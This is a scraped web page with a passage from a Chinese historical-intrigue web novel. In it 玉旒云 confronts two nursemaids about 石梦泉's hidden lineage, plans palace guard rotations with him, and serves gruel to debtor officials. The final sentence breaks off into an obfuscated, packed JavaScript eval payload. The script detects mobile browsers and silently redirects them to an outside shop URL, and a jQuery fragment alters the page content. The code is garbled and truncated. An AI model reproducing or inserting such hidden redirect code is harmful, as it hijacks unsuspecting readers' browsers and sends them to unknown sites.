“也好。”玉朝雾道,“二位岁数大了,少在日头下奔波为妙。”她跨出殿门,想想又不放心,回身道:“林大人,不如你再给王爷号号脉,有些什么夏令进补的建议就告诉他。” “谨遵懿旨。”林枢躬身答应。玉旒云看他脸上仿佛有阴谋得逞的笑容。 等到玉朝雾的凤辇出了宫门,林枢当真来给玉旒云号脉。玉旒云就气鼓鼓地瞪着他道:“林枢,你把我的话当成耳边风么?” 林枢总是那样淡如清水的态度:“下官是为了王爷的身体着想。既然皇后娘娘吩咐要号脉,便不能违旨。” “刚才在路上你不是已经号了半天了么?”玉旒云道,“我有正事要办,你不要碍手碍脚的。” 林枢不卑不亢:“王爷为难下官,下官只好向皇后娘娘如实禀报。” “你敢威胁我?”玉旒云气得直咬牙。 “不敢。”林枢道,“大人虽然有许多‘正事’要做,不过身体垮了,就一件也做不成。大人难道忘记了,下官曾经说过,大人先天不足,后天若不多加调养,恐怕难以活过三十岁么?” “你——”玉旒云吓得赶紧看看王氏和石氏,好在两人都站得很远,并听不见林枢说话。“你不要再这里危言耸听。”玉旒云道,“我之前大病一场,现在还没调养好,有时头晕眼花也没什么奇怪的。你如果觉得自己有本事治好我,就赶紧开方子来,我叫人照单抓药,依方服用就是。如果你也没本事治好我,无谓在这里耍嘴皮子。” 林枢微微笑了笑,按住她的手腕,琢磨着脉搏的跳动,沉吟片刻又将她的袖子朝上卷起些。 “干什么?”玉旒云皱起眉头。 林枢看到她手肘上一片瘀紫:“这是刚才在宫墙上撞得么?” 玉旒云一直没留心:“大概吧。一点小伤。” “王爷刚才撞得并不厉害,但是却瘀伤这么一大片。”林枢轻轻按了按伤处,“王爷在战场上常受伤么?会不会经常弄得浑身青紫?” 玉旒云摇摇头。 林枢道:“那么是最近才开始的?是不是近来常常碰伤?或者没碰到什么也无故出现瘀肿?用青盐擦牙会不会经常擦出血来?” “什么莫名其妙的?”玉旒云从来没留心过,为免林枢继续纠缠不清,就道:“根本没有的事。你有药要开给我么?没有就请回吧,我还有话要和王嬷嬷、石嬷嬷说。” 林枢蹙眉思考片刻,自语道:“也许是我多虑了。”因从药箱里取出一个香包来:“这是御药房配的药,现在各宫主子都带上这样一个药包了,祛邪解暑,王爷拿着它总比拿着薄荷叶方便。而王爷的身体……”他顿了顿:“现在当以休息保养为主,下官刚才说的身体瘀青和牙龈出血,王爷自己留心,如果发现,请及时告诉下官。” “好吧。”玉旒云看他起身告退,闻到药包里阵阵清香,忽然又觉得这个大夫也没那么讨厌。自己当初就想收服他,如今他关心自己的身体,也算是好事,何况他还给玉朝雾看过症呢?登时又感觉自己开始的态度过于恶劣了些,晃了晃香包道:“这个,多谢了……啊,还有上次你报告奸细的事,非常好。他们已经被我一网打尽。” “那就要恭喜王爷了。”林枢欠了欠身,退出殿门。 他走了,王氏和石氏才走上前来:“王爷说梦泉有话带来?” “是。”玉旒云看看四下里并没有旁人,骤然板起了面孔,“其实不是他有话,是我有话要问两位嬷嬷。” 两人看她如此神情,都是一愣。玉旒云叉着双手,盯着王氏,道:“王嬷嬷,我想知道你究竟是叫王宛林呢,还是叫林琬?” 她这话一出,两个妇人都变了颜色。王氏愣了片刻,强笑道:“王爷什么意思?我一点儿也不明白。” “不明白?”玉旒云挑了挑眉毛,“王嬷嬷,你在我面前还要撒谎么?我要是有心害你们,还会过来问你们这样的话?你老老实实回答我,梦泉他是不是舒鹰的孙子?” 王氏和石氏脸色煞白,相互望了一眼,直挺挺给玉旒云跪下了:“王爷,梦泉不知道自己的身世。他对王爷忠心耿耿,绝对没有异心……” “我晓得!”玉旒云打断她们,“如果不是为了保他,我也……”也不会答应嫁给翼王这个混蛋!她不想提着件事,只道:“他没有异心,你们呢?本来已经隐姓埋名,为什么还要进宫来?当年为什么要进庆王府?” “只是机缘巧合,找了这样一份差事。”石氏磕头道,“当年南方七郡连年灾害,家乡实在过不下去,我到京城来做工想法养活小姐和孙少爷,正巧进了庆王府,又正巧迎娶王妃。之后王妃给我恩典,我才能把小姐和孙少爷接来西京。只是巧合,决没有其它的企图。” “好了!”玉旒云扶起她来,“石嬷嬷、王嬷嬷,这么多年来姐姐和我都蒙你们照顾,你们就像我自己的长辈一样,而梦泉与我也是不分彼此的。我从来也不怀疑你们会有歹意。”她说着,语气变得很严肃了:“不过,你们年年太祖诞辰节请假出宫祭祀,已经被人发现,而庆澜元年你们偷偷在凤藻宫烧纸也被有心人看见了。” “啊!”两个妇人都是一惊。 玉旒云伸手示意她们不要打断自己,继续说下去:“有心人看你们的举动,会怎么想呢?尤其现在梦泉位高权重,正是树大招风。有心人一定会猜测你们是特意要混进宫来,为舒家夺回天下——你们说没有这个企图,我信你们现在的确没这么想过,也警告你们将来莫要起这样的念头。否则只会害了梦泉而已——我不许人陷梦泉于危难,不论是什么人,都不行。” “王爷放心,绝对不会有那大逆不道的想法。”两个妇人同声发誓。 玉旒云点了点头:“以后你们行动要分外小心。在宫中祭祀这种事,绝对不能再发生。我已经向皇上求了恩典,今年八月让梦泉陪你们还乡修葺他父亲的陵墓——你们要记住,他是姓石的,他父亲也是姓石的,是一个农夫。我是这样告诉皇上的,所以这就是事实——你们要欢欢喜喜地衣锦还乡,以后每年要光明正大地回去‘庆祝’太祖诞辰,并感谢今上给你们家的恩典。舒家的事,一个字也不许提,一点马脚也不能露。明白了吗?” 这是两人看着长大的玉旒云,现在这样严肃地跟她们下达关乎生死的命令。两人都怔怔许久,才点头答应。 “这是为了梦泉好,也是为了大家好。”玉旒云站起身,才微微露出了笑容,“一会你们自己和姐姐说告假的事。晚上七夕大家玩得开心点儿。我走了。” 77. 第 77 章 玉旒云出了皇宫乘轿回府去。没有走出多远,就听人大叫“回避”,见行人纷纷避让,她的轿夫也将轿子往路边上靠。她因掀起轿帘儿来望了望,原来是顺天府衙差办事。西京治安良好,很难得看到三四十个衙差一齐出动,玉旒云不禁心中奇怪。等衙差队伍跑过,看后面府尹殷复亲自骑着马来督阵——他一个文官颤巍巍坐在高头大马上,仿佛随时要掉下来似的,好不滑稽。玉旒云忍不住好笑,但是心里就更加奇怪了。 殷复认得玉旒云的轿子,赶紧翻身滚下马来请安:“下官的衙役们都瞎了眼,再叫谁回避,也不能让王爷的轿子靠边。” 玉旒云叫他起来:“为什么这么大阵仗?出了什么大事?” “回王爷的话,”殷复道,“最近京城附近出现了许多强盗土匪。” “有这种事?”玉旒云道,“难道你们最近巡逻得不够?还是潘硕的人偷懒?” “都不是。”殷复道,“是最近不知怎么的,许多人从外地运银子进京。俗话说,人为财死,鸟为食亡,山贼土匪知道有银子,就都涌来了。已经连做了好几企大案。” “不知怎么的?”玉旒云心思敏捷,一下就想通了:既然有人拿赵王府派发的户部官票去顺城鼎兴的分号兑换,也就一定去了其它的银号,这时正忙不迭运回京来补窟窿呢!山贼土匪?哈!她忍不住想笑:真是抢得好!便对殷复道:“你真的不晓得是什么原因吗?本王这两天在户部查帐,你欠了多少?” 殷复讪笑:“下官欠的不多,不知……” “国库里的钱是你们可以随便借得么?简直混帐!”玉旒云板起面孔,“我告诉你,不要同我嬉皮笑脸的,欠一两银子都不行,皇上要追究的。实话跟你说吧,这些从外地运银子的,都是从永泽公那里得了消息,所以赶紧挪钱还债——永泽公都保不了他们,你指望谁能保得了你?我看最迟三天,皇上就要彻底查办了。” 殷复吓得脸都绿了:“王爷,下官上有老下有小,有从来不肯贪污受贿,实在是……” 玉旒云不听他哭穷:“我指你一条明路——听说西京有些银号只要有保人就可以借贷。反正从银号借银子是光明正大的事,不怕有人找你的麻烦。如果你欠的数目不多,银号能够借得起,你何不借来应急,然后再慢慢还给银号呢?况且从西京的银号借,又不怕长途运输被人打劫。” 殷复如获至宝,赶紧给玉旒云作揖:“多谢王爷提点!” “去办你的差事吧。”玉旒云打发了他,又吩咐轿夫:“绕到鼎兴银号那里去看看。” 轿子不时就到了鼎兴银号所在的那条街。她不叫上前去,远远地看了看,只见鼎兴生意甚好,客人排队从里头一直排到了大街上。她很是满意,心想:城外现在有土匪,今天早晨上书房里那些惶惶不可终日的官员一定又把惊恐带到了朝野的各个角落,鼎兴本来已做足了宣传功夫,现在再让殷复来加一把火——这些因素凑到了一块儿,不怕那些中立的官员和赵王暂时管不着的官员不蜂拥到鼎兴来! 正面交锋的时刻就快要到来!每每想到紧张而激烈的战斗,她就觉得精神振奋,热血沸腾。这之前,须得确保京师防务万无一失——她已经交待石梦泉部署此事最近一直忙碌着没见面,倒没有问过他具体的计划。八月初他将要南下,玉旒云想,在那之前还是先了解清楚了,万一需要自己接手,也不至于忙乱。再说……她看看鼎兴银号附近的高楼富户,都已经张灯结彩,有的还采了莲花扎成并蒂莲的样子挂在门口,正是一派过女儿节的喜气——管是什么节,去找石梦泉随便喝一杯也是好的,连日来自己的心思也绷得太紧了。 于是就让轿夫调头往石府来。 石梦泉最近十分空闲,结果也就多了许多机会让愉郡主纠缠。玉旒云到时愉郡主的车轿刚刚离开。她没让通报,径自走去书房找石梦泉,才推门,就听他道:“又是什么事?”语气十分的不耐烦。玉旒云理会得挚友烦躁的原委,就打趣道:“能把你都弄成个黑面神,这个小愉的本事实在叫人佩服呀!” 石梦泉发现怪错了人,自悔莽撞,忙道:“大人怎么今天有空?” 玉旒云笑道:“我不是有空,我是无事不登三宝殿。第一我来查问你京师防务,第二我来知会你一声皇上要派你去你老家建立武备学塾,至于第三嘛,等前两条汇报完了我再告诉你。” “武备学塾的事这么急就要办?”石梦泉惊道,“不能等着赵王爷事平息了?” 玉旒云当然不能告诉他这是关系他生死安危的大事,只笑道:“因要赶着八月你父亲的忌日嘛。我已经在姐姐那里给你娘和姑姑都求了恩典,你去办学堂,也顺便修葺你父亲的陵墓,光明正大。” “话是这样。”石梦泉道,“但始终……现在是非常时期,我以为还是先等大局稳定再办那些小事为好。” “离你起行还有一个月呢!”玉旒云道,“怎见得这一个月之内我们不能把大局掌握住?再说,就算你走了之后老狐狸才发难,放着几万大军我还治不了?所以才来问问你防务是怎样布置的,万一要我接手也没问题。好歹我是个领侍卫内大臣嘛。” “内城九门的防卫自然是靠潘硕,”石梦泉道,“潘硕担任九门提督有一段时日了,手下的人都摸得很熟,不会出什么纰漏。外城东台大营督尉本来是大人的亲兵唐运亭,不过他已经调到戚县去了,现在新督尉是从禁军里新调去的,名叫屈恒,是什么底细却不清楚。但东台大营的兵都是我们带过的,陈灏、慕容齐和韩夜都在那里呆过,所以我们还是掌握着东台大营。而陈灏、慕容齐和韩夜带着各自的一万人回京,也都在东台大营。赵酋在戚县,带着前锋营和其余的各营的人马共两万,唐运亭手里有五千人,如果要上京只需要一天的时间。基本上说来,除非赵王有瞒天过海的本领从北面调兵逼京,否则我们是不惧怕外面作乱的。” 他才说到这儿,石府的下人来上茶了。玉旒云看了看,杯中茶叶碧绿,并且事先扎成一朵花的形状,而真正茉莉花的骨朵儿就像珍珠似的漂浮在水面上,光瞧着就让人心旷神怡,深深嗅了一下,又有奇异的清香。她不禁赞道:“好茶——你哪里找来的?” 石梦泉茫然不知:“我不是个雅人,怎么会找这些花功夫的玩意儿?” “回王爷和大人的话,”那下人道,“这是早两日愉郡主送的。” 玉旒云立刻就皱了皱眉头。石梦泉知道她成日拿愉郡主打趣,就是和这个小丫头不对,立刻道:“去换一杯——上次西瑶使节送的白毫银针应该还有剩,重新沏了来。” “哎——”玉旒云笑着拦住,“你还不知道我这个人?那些楚国人成天骂我是土匪强盗,一点儿也没错。我越是讨厌什么人,越是要把人家的东西给抢过来——不管是山川、田地、矿藏、牧场还是——茶叶。”她说着就端起茶杯来饮了一口:“真是好茶——愉郡主还给我们未来的郡马爷送了些什么好东西?都拿来给本王欣赏一下嘛——梦泉,你没有那么小气哦?” 石梦泉喜欢这样孩子气的玉旒云,便笑笑:“她今天送这个,明天送那个,我哪里记得。” “刚才送了荔枝来。”那下人忙到,“小的这就拿来。”便退出门去,果然没多一刻功夫就捧了盘荔枝来,每一粒都鲜红水灵,好像刚从树上摘下来的一样。玉旒云立刻就剥了一枚:“好家伙,往年在姐姐那里吃进贡的荔枝也不过如此,赵王爷好大的本事!” “这样从西瑶运过来,”那下人插嘴,“可的确要花不少功夫呢。听王府的人说换马不换人,一路飞奔来。” “是么?”玉旒云挥手将下人打发了出去,思索着道:“换马不换人从西瑶专门送荔枝给赵王爷,段青锋本来已经脚踩两只船,莫非其实也没有放弃赵王爷这一只?” 石梦泉道:“赵王可谓神通广大,我们的一举一动他都晓得,我们离开西瑶后他杀一个回马枪也不是不可能。而西瑶老太后一直就擅长坐山观虎斗,谋渔人之利,她通吃三家也不是奇事。” 玉旒云又剥了一枚荔枝:“嗯,不错。就是她这样我才不用担心。她一定会等到最后的强者已经产生才最终表态以求分一杯羹。所以不必怕她中途帮赵王的忙——赵王尽管去抛媚眼好了——不,我觉得西瑶才像是怡红院里的姑娘,谁送礼来她都收,抛出无数的媚眼,让每一个人都以为她对你用情至深,而她一定会等到大家都出完了价才会选择给钱最多的作为自己的入幕之宾。其他的人终究竹篮打水一场空。” 石梦泉笑道:“你的比喻真恰当。没想到你也晓得风月场中的规矩。” 玉旒云一愣,立刻反唇相讥:“哼,看来你也很清楚风月场的规矩,要不然你怎么知道我的比喻恰当?” 石梦泉摇摇头,也去剥荔枝,但自己却不吃,一粒粒都摆在盘子上。玉旒云见了,就道:“干什么?火气这么大的东西我一个人吃可不行。愉郡主这是摆明了要害人流鼻血呢,有福同享有难同当,你得陪我吃。”石梦泉听她这这样说才笑着自己吃了,那荔枝如此甜蜜,但在他看来却不及和玉旒云片刻的说笑。 玉旒云又接着刚才的话题继续说:“西京必须保证里里外外都是我们的人——九门的步军我们不必担心,东台大营和戚县也没问题,禁军和护军怎么样?其实我当这个领侍卫内大臣一年多,大半的时间都不在西京。侍卫府里原该有六个领侍卫内大臣,历来都是从皇亲和将军中选任。这是太宗皇帝订的规矩,当时他的几个皇子都任过领侍卫内大臣,可是这些人在太宗末年和仁宗年一个个都出了事。他们掌权时把宫廷搞得乌烟瘴气,他们死了,仁宗爷一时也没想起来谁可以替换,这差事一直由内务府总管兼任。到去年情势紧急,皇上急中生智才把我安到这个位子上——禁军和护军中的人,我认识的很多,但不认识也很多——比方现在做御前侍卫的那些人,我就一个也不认识。你以前做侍卫,恐怕认识的人比我多一些——当年和你一起做侍卫的都做了军官了吧?” 石梦泉摇摇头:“御前侍卫何止大人不认识?就连我也不认识——我是早早就出去和大人带兵了嘛。真正留在皇上身边做到御前侍卫,那是二品的武官,外放出来至少是副将,一般都要做总兵,而留在京中除非做九门提督,否则也没有什么升迁的余地,所以跟我一起做侍卫的人现在也都外放了。” “哦,是。我想起来了。”玉旒云道,“皇上说现在的御前侍卫都是庆澜元年武科选出来的,身手还不错。就不知道底细如何。其实关键不是一个一个的侍卫,要紧的是军官……” “对,这也正是我最担心的。”石梦泉道,“禁军和护军的军官自去年我们离京之后调换的比较厉害,原先的督尉几乎全都外放了,现在的人我都不认识。” “什么?竟然全都换了?”玉旒云皱了皱眉头,“该死,我这个领侍卫内大臣忙到如今还没有关心到这事。真是的,皇上也没有跟我提起。关系他自己生死的大事,他倒不上心!” 石梦泉道:“新换的军官也不见得都是赵王买通的人——他们带兵带得还是很不错的。我那天听几个太监抱怨,以前他们都私通禁军夹带宫中物品出去贩卖,如今禁军都很规矩,坚决不同流合污,太监们都断了财路呢!” “是么?”玉旒云道,“带兵带得好就不是赵王的人了?老狐狸很会做表面文章的。人人都以为他在北方使因为带兵带得好才多年来保证寸土不失,但其实呢?人家蛮族可汗的公主都弄上了手——容贵妃和悦敏一个鼻孔出气,蛮族可汗当然也早就和赵王爷勾搭成奸,大家和和睦睦的一家人,还能不‘寸土不失’吗?我想局势乱,好在浑水中狠狠敲赵王几棍子,但又不想把皇上乱在里头。不如这样吧,现在天气正热,皇上出门避暑也是好的。这样我们才有理由挑选绝对信得过的人来护驾。” “虽是如此,却也有弊端。”石梦泉道,“毕竟一动不如一静,现在去避暑山庄围猎,万一赵王从北面悄悄调了人来,岂不麻烦?” “可是……啊呀,该死!”玉旒云突然看到有几点鲜红滴在雪白的荔枝之上,正是鼻子流血了:“愉郡主的坏东西,竟然立竿见影的!” 石梦泉赶忙帮她拿手帕,又扶她到旁边的躺椅上仰头靠着,一壁叫下人赶紧拿冷手巾并煮些下火茶,一壁道:“明知道自己会上火,还吃那么多?我记得上次还是在庆王府,你才吃了两粒就坏事了。” 玉旒云仰着头不敢乱动,口中却道:“你的责任不是提醒我别犯错误吗?明知道我会贪嘴误事,也不阻止我,这可都是你害的——你是愉郡主的帮凶!” 石梦泉不和她斗嘴,看下人飞跑来送冷手巾,就帮她敷在额头上。 玉旒云道:“别瞎忙乎,一会儿就好了。咱们接着说。”等下人出去了,便道:“刚才说到皇城护卫——禁军的军官已经都换了,我们也不能临时调别人来。所以必要的时候,唯有叫九门的步军进宫。反正我是领侍卫内大臣,有我的手令调步军进宫也不算太不成规矩。” “虽然不算不成规矩,但是毕竟步军和禁军是两个派系,”石梦泉道,“就算是九门的步军拿着大人的手令,到了宫门口也保不准不和禁军争起来。万一两下里动了手,那就更加给别有用心的人以可乘之机。” “那……”玉旒云连日来在户部那边搞得一头劲,满以为自己就算周详,只等着请赵王入瓮,岂料还有这么多补不上的漏洞。她不由心烦气躁:也许只有郭罡才能对一切洞若观火,他每一次提意见看来那样轻松,那样自然,却总是切中肯綮——莫非自己和郭罡还差很远么? “大人先别着急,我还没说完——”石梦泉依命办理西京防务,自然不能只说弊端不提对策,当下道:“其实每次大军出征归来,皇上犒赏之时都要从军中选拔战斗英勇的士兵进宫为禁军,这是升迁的捷径。这次虽然劳军的银子没有到位所以兵部还没正式办选拔的差事,不过我已经叫陈灏他们把人选好了,等你手令就先进宫当差。他们不跟普通的禁军一处轮班,只负责护卫皇上的乾清宫,皇后的凤藻宫,太后的慈宁宫,和太子的承乾宫,即使是轮转也只限于四宫之间。这等于在四宫加了第二班人马,两班都忠心,就算是加强护卫,如果原来的人中有异心,后一班正好将他制住。而且我早就嘱咐过他们,除了大人的命令,谁的也不听,相当于让大人带亲兵进宫了。” “这倒是个好主意。”玉旒云道,“回头我就跟侍卫府打招呼。不过,皇宫如此之大,赵王肯定暗藏人马,有多少,在哪里,我们却不知道。除非禁军和护军全弄成两套人马,否则始终是有隐患的。但是如果都成两套人马,那就太招摇了,也绝对不可能办到。” 石梦泉道:“是。每天几班人马轮流在各处巡逻,要了解每一个人的底细,除非神仙,否则可真办不到。本来我想利用内务府总管何广田——他从仁宗朝一直做到现在,恐怕了解得比我们都多——其实他是从太宗朝就一直在宫里当差的,这样的一个老人,怕是连皇宫里每块砖头长什么样儿都摸得清清楚楚。然而一则这个人我们没有交情,二则我担心他这样一个老人,万一他是赵王一伙,我去找他打听状况,岂不是自己撞到死路上?大人请想,宫中的侍卫总是一拨一拨走马灯似的换,赵王如果要一直掌握宫中的消息,难道不正需要一个长期留在宫里的人么?” 玉旒云想想,虽然没有什么必然性,但是这生死攸关的大事,可不能赌博,只冷笑了一下:“现在真是看着人人都像贼。也好,宁可我怪错他们,不可让他们有机会害咱们。” 石梦泉道:“大人别急着开杀戒呀。因为不知道谁是贼,所以才看着人人都像贼嘛。赵王爷想让我们云里雾里,我们也可以以其人之道还治其人之身,让他摸不清状况,你看我的这个对策如何——除了乾清宫、凤藻宫、慈宁宫、承乾宫,这些是要紧的地方外,其他各门、各宫和巡逻的人马,包括守卫清漪园和寄春园的那些,每天随机给他们排班轮换,次日值班表到头一日上更得时候才公布——所有人不得请假,统统在营房里等值班的消息,就说是要整顿纪律。如此一来,谁也不知道第二天会到哪里当差,就算临时想换去什么地方当差,也没那么快找着愿意调换的人。” “好极了!”玉旒云兴奋地坐了起来,因为动作动作过猛,血又染红了手帕,石梦泉忙把她摁倒:“别激动,躺着说。”玉旒云就拿手指在空中比划着:“我明天就到侍卫府把侍卫名单弄一份来,撕开了拈阄儿。如此一来,心中有鬼的那些人,既不知道自己什么时候会到哪里当差,也不知道和谁一起当差,肯定先胆怯了几分。别说没法事先计划什么坏事,就算计划了,也都被打乱,一时半刻不敢轻易行动。虽然可能会让整个禁军有些麻烦,不过关键是让某些人更加麻烦。嘿嘿,原来这种让全天下都人仰马翻的法子才是最省劲儿的,这真是放之四海而皆准啊!” 石梦泉笑道:“是,我正是看到大人在户部的动作,所以才想出了这条计策。我猜大人在户部不光是想掌握主动逼赵王在准备不足时造反,也是想摸清他这一潭子水究竟有多深,看看朝廷里究竟有多少人是他的党羽。大人要和他斗,不能只斗武力,在朝中也要分庭抗礼才行,否则还不等武斗,他就像上次大青河一样纠集官员们来跟我们文斗了。因此我们必须把文官争取过来,以防将来兵戎相见时这些人在背后使坏。” “不错。”玉旒云笑道,“本来是怕赶你这只鸭子上架,所以不说来烦你,你自己倒领悟出来了。果然只有你最了解我心意。你分析的没错,其实我没想立刻就逼反他,如果可能,我想避免内战,用最快的方法把他消灭。当然,他不会束手就擒,所以多半是要动武的,那么我希望速战速决,才不会伤了国家的元气。只是在那之前,我一定要摸清他的底细。和咱们在外头打仗一个道理,知己知彼嘛。” 石梦泉道:“大人在户部用的这一招就好像我小时候在乡下看人晒米,沙子会掉下去,糠粃会被吹走,最终只由米能留下来。” 玉旒云笑:“农夫的儿子果然就是农夫的儿子——糠粃和沙子也都是有用之物,如果愿意为我所用,我也不会把他们丢掉的。” 石梦泉也笑笑,因商议定了皇城的防务,便问:“大人说今天找我有三件事,第三件是什么?” “哦,第三件可是大事了。”玉旒云道,“找你喝酒。今天别人过七夕,虽然不干咱们的事,但是找你喝酒也不需要巧立名目——你有什么好酒——不对,愉郡主送你什么好酒没有?快拿出来我尝尝。” 石梦泉道:“愉郡主的确送了我不少酒,不过全都不适合你喝,否则一会儿鼻子再出血,就要去请林大夫了。” 玉旒云拿手帕看了看,似乎血已经止住了,不过未敢怠慢,害怕若真的再出血石梦泉要大惊小怪请林枢来,到时候林枢“危言耸听”,必然扫兴。因此她还是靠着,道:“好吧,不喝她送的酒也可以,你自己总有别的酒吧?叫人随便弄点小菜,我们也去看星星聊天。” 去过石梦泉家之后,玉旒云立刻发了手令到东台大营给陈灏等几位部下,责令他们即刻将选拔的兵士送到侍卫府。然后,她就按照计划以整顿纪律加强训练训练防备楚国奸细为名,开始了新的侍卫轮值制度。禁军的军官们看起来颇有些怨言,但是谁也不敢违抗命令。当时内务府的何广田也正巧来到侍卫府料理些私事,玉旒云跟他很客气地笑了笑:“何公公管理侍卫府比我有经验得多,我上任这么久,才刚刚开始亲自办点事,今后一定还要向何公公你多多请教。”何广田连忙道“不敢”,笑着道:“王爷说的哪里话?您是主子,是咱们大樾国少见的带兵天才。我是奴才,就修行一万年也比不上您一根寒毛,您别说这些话寒碜我了。”就道了少陪,自去做他的事。玉旒云则亲自监督新选的进军来到各自的岗位上,这才回到户部继续查她的帐。 京官的亏空,悦敏分给玉旒云的那一部份已经都查过一次了。不过因为一直有人陆陆续续在还钱,所以账目天天都有变动。自从玉旒云在上书房吓唬了一众官员又和殷复说了一番“救命”的话,前来还钱的就更多了。不过,因为种种原因——或者是像廉郡王一样自恃位高,或者是欠的银子太多,或者是运银子进京被抢劫——欠债未还的还是大多数。然而这种情况正如战场上劝降战俘,军官们都戏称为“敲冰”。因为开始战俘们都死硬,彼此是一种支持,像北国坚硬的冰面,一旦有人松动了,就仿佛冰上敲开了一条裂缝,敲冰的人只要适时地随便跺两脚,坚冰就会彻底崩溃,同样,当有战俘投降后,劝降的人只须旁敲侧击,最终大部分战俘都会归顺。玉旒云就像是那个敲冰的人,悦敏想要搞坏她的名声,却不知自己成了那个跺脚的。结果玉旒云即使只是不动声色地等,朝中的气氛也越来越紧张,快要达到极限。 七夕后三天,晋二娘把西京鼎兴总号和附近城镇分号的借贷票据汇总交给了玉旒云,玉旒云同户部的记录一核对,发现总共有二十七名官员从鼎兴借银还亏空。晋二娘道:“我们鼎兴的现银已经差不多了,再要多借,就会影响正常的生意。大人的大事应该也该出手了吧?”玉旒云想想,也该是时候了,就谢了晋二娘,挑了七月十四暨中元节前一天发帖子请没有还钱的以及还了钱但是在晋二娘处有票据的哪些官员一齐过王府来饮酒。 中元节鬼门关大开是全年最人心惶惶的时候。其实每年七夕一过,气氛就开始变了,人们尽量不往僻静的地方去,丢了东西也不去寻,出门归来还要照一照水盆,皆因为迷信中元节是阴间超度投胎和堕入地狱的关口所以鬼在四处游荡。京城自古就是是非地,枉死屈死的冤鬼特别多,京城的人也就特别担惊受怕。玉旒云挑了这一天找大家见面,虽然不说是为什么,但是各人心里有数,所以凡拿到请帖的人都吓得两腿发软,知道者必然是鸿门宴无疑。 这个消息自然迅速传到了悦敏的耳朵里。悦敏知道玉旒云在禁军那里有了动作,晓得她是防备赵王兵变,但是他心想:我不和你动武,你逼得文官们没处走,他们齐来和你闹事,看你如何下台。于是叫那报信的兵部右侍郎谭方不必担心:“她叫你去,你就去。要钱没有,要命一条——她还能把大家的命都要了?” 才说着,又听另一人道:“不必如此。”正是赵王进来了。“七月十五有的鬼升天,有的鬼下地狱。超度阴魂升天的那是观世音菩萨,慈航普渡,人人敬爱。而吞下大鬼小鬼让他们不得超生的,最是遭人惧怕——焰口鬼王可是每年都要被烧掉的。”他阴阴地笑着,“观音同鬼王同时在中元节这一天显灵,玉旒云既然要做鬼王,我们何不做观音?她请客,我们也请客,看看谁家热闹。”因叫悦敏也定一份名单送帖子,找来户部总帐,凡是还有欠债未还的,统统都在宴请之列。 “不过谭侍郎,”赵王道,“本王不得不麻烦你依旧到玉旒云那里去,她耍什么花样,总要有人报告给我知道嘛。” 谭方虽然有些不情愿,但是不得不从命,再说悦敏一开始就交待过,他的任务是坚决抗拒还债,唱的就是白脸,所以也非得死硬到底不可。于是七月十四这一天他就准备了一些时鲜礼品上玉旒云的王府来做客。 到了门前,见疏疏落落还是停着一些车轿,到奉茶的花厅里看到已坐了二十来个官员,心中暗道:原来还是有些人敢来赴鸿门宴的。他其实不知道,这些人就是从鼎兴借银那一伙儿,自以为瞒天过海成功,所以才大着胆子上门来。 石梦泉在玉府就像是半个主人,已经坐在上首和众人寒暄,看谭方进来,还亲自起身拱手问好:“谭侍郎,赏光,赏光。” 谭方回了礼,落了座,心里惴惴不安,嘀咕着玉旒云究竟要如何发难。其实旁人肚子里也都有疑问:既然还清了钱,为什么还请我们? 大家喝了一会茶,才见到玉旒云出来了,穿着月白竹布的袍子,和一身黑的石梦泉站在一起本来鲜明好看,但谭方等心中有鬼的人看来简直是黑白无常,脊背上不觉冒起了冷汗。 玉旒云笑着扫视了一眼花厅上的人:“时辰已经到了,看来其他人都上赵王爷家吃酒去了。也怪我挑日子挑的不好,跟他老人家撞在一起。早知就错开了,这样大家可以连吃两回,岂不开心?” 众人都干笑着答应。谭方想:就算你换日子,赵王也会换了跟你同一天,特特唱对台的嘛,其实你自己心里不也很清楚? 玉旒云道:“大家肯给我面子,我当然要好好招待。花园里已经准备好了酒席,请上席吧。”于是自己和石梦泉在前面引路,带着官员们来到花园中。 谭方等人一进花园立刻傻了眼——夏日在花园宴饮是西京达官贵人的风尚,通常都要扎彩棚,晴天遮阳,雨天挡雨,而更重要的是,家世越显赫,彩棚越华贵,廉郡王家的棚子每一根柱子都是金丝楠木的,还镶嵌了紫檀的雕饰,在棚中请客,不需花卉装饰,也有淡淡幽香,其他皇亲纷纷效仿。本来玉旒云是庆澜帝即位后的新贵,皇帝面前的第一大红人,又是风光无限的内亲王,大家总以为她家里的彩棚比之廉郡王应该有过之而无不及,谁知玉府只在池塘边搭了个茅草棚,里面只够放下一张八仙桌。大家远远一望,见桌上放了一摞碗还有一只大瓦罐,玉府的一个下人在桌后站着。 这是什么意思?众官员四下里张望,再没别处设有坐席了,都不解地看向玉旒云。 玉旒云大步朝草棚走了过去。到跟前就笑着道:“各位虽然在西京任职,不过相信也知道今年甘州旱灾严重,虽然筹集了一些赈灾粮食,但是杯水车薪。听说甘州饿殍遍野。老百姓没有饭吃,我们又怎么好意思山珍海味?” 众人听了这话,不由头皮发麻:看来这就是“由头”了。 走三步退两步,大家不得已,也都来到草棚前。玉府的下人就拿起一只木勺儿来,从瓦罐中舀了些粥水,装满一碗,先递给玉旒云,接着又按人数盛了二十来份,分给每一个官员。大家看手中的粥,简直不知道是用什么煮出来的,黄不黄白不白,米粒儿也见不到,漂着一点儿菜叶,都是绿中带黑,别说吃了,光是看看已经反胃。 玉旒云偏还端着粥碗“语重心长”道:“诸位不要小看这菜粥,甘州百姓还吃不到这么好。他们既没有油也没有盐。领一碗粥回去还得分成三顿吃——这怎么能不饿死人呢?大家都是朝廷命官,我今天请大家喝这一碗粥,就是想大家不要忘记甘州百姓。”说着带头将菜粥喝了个干净。 石梦泉也跟后喝了。官员们无奈,都捏着鼻子喝了下去,有几个登时胃里就直泛酸水。 玉旒云接着道:“唉,我听说甘州已经出现易子而食的惨剧了,实在是可怜。赈灾需要多少银子?四十万两,是不是?想我堂堂大樾国就算不及楚国富庶,不及西瑶丰饶,也不至于国库里连四十万两银子也拿不出来吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728658|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 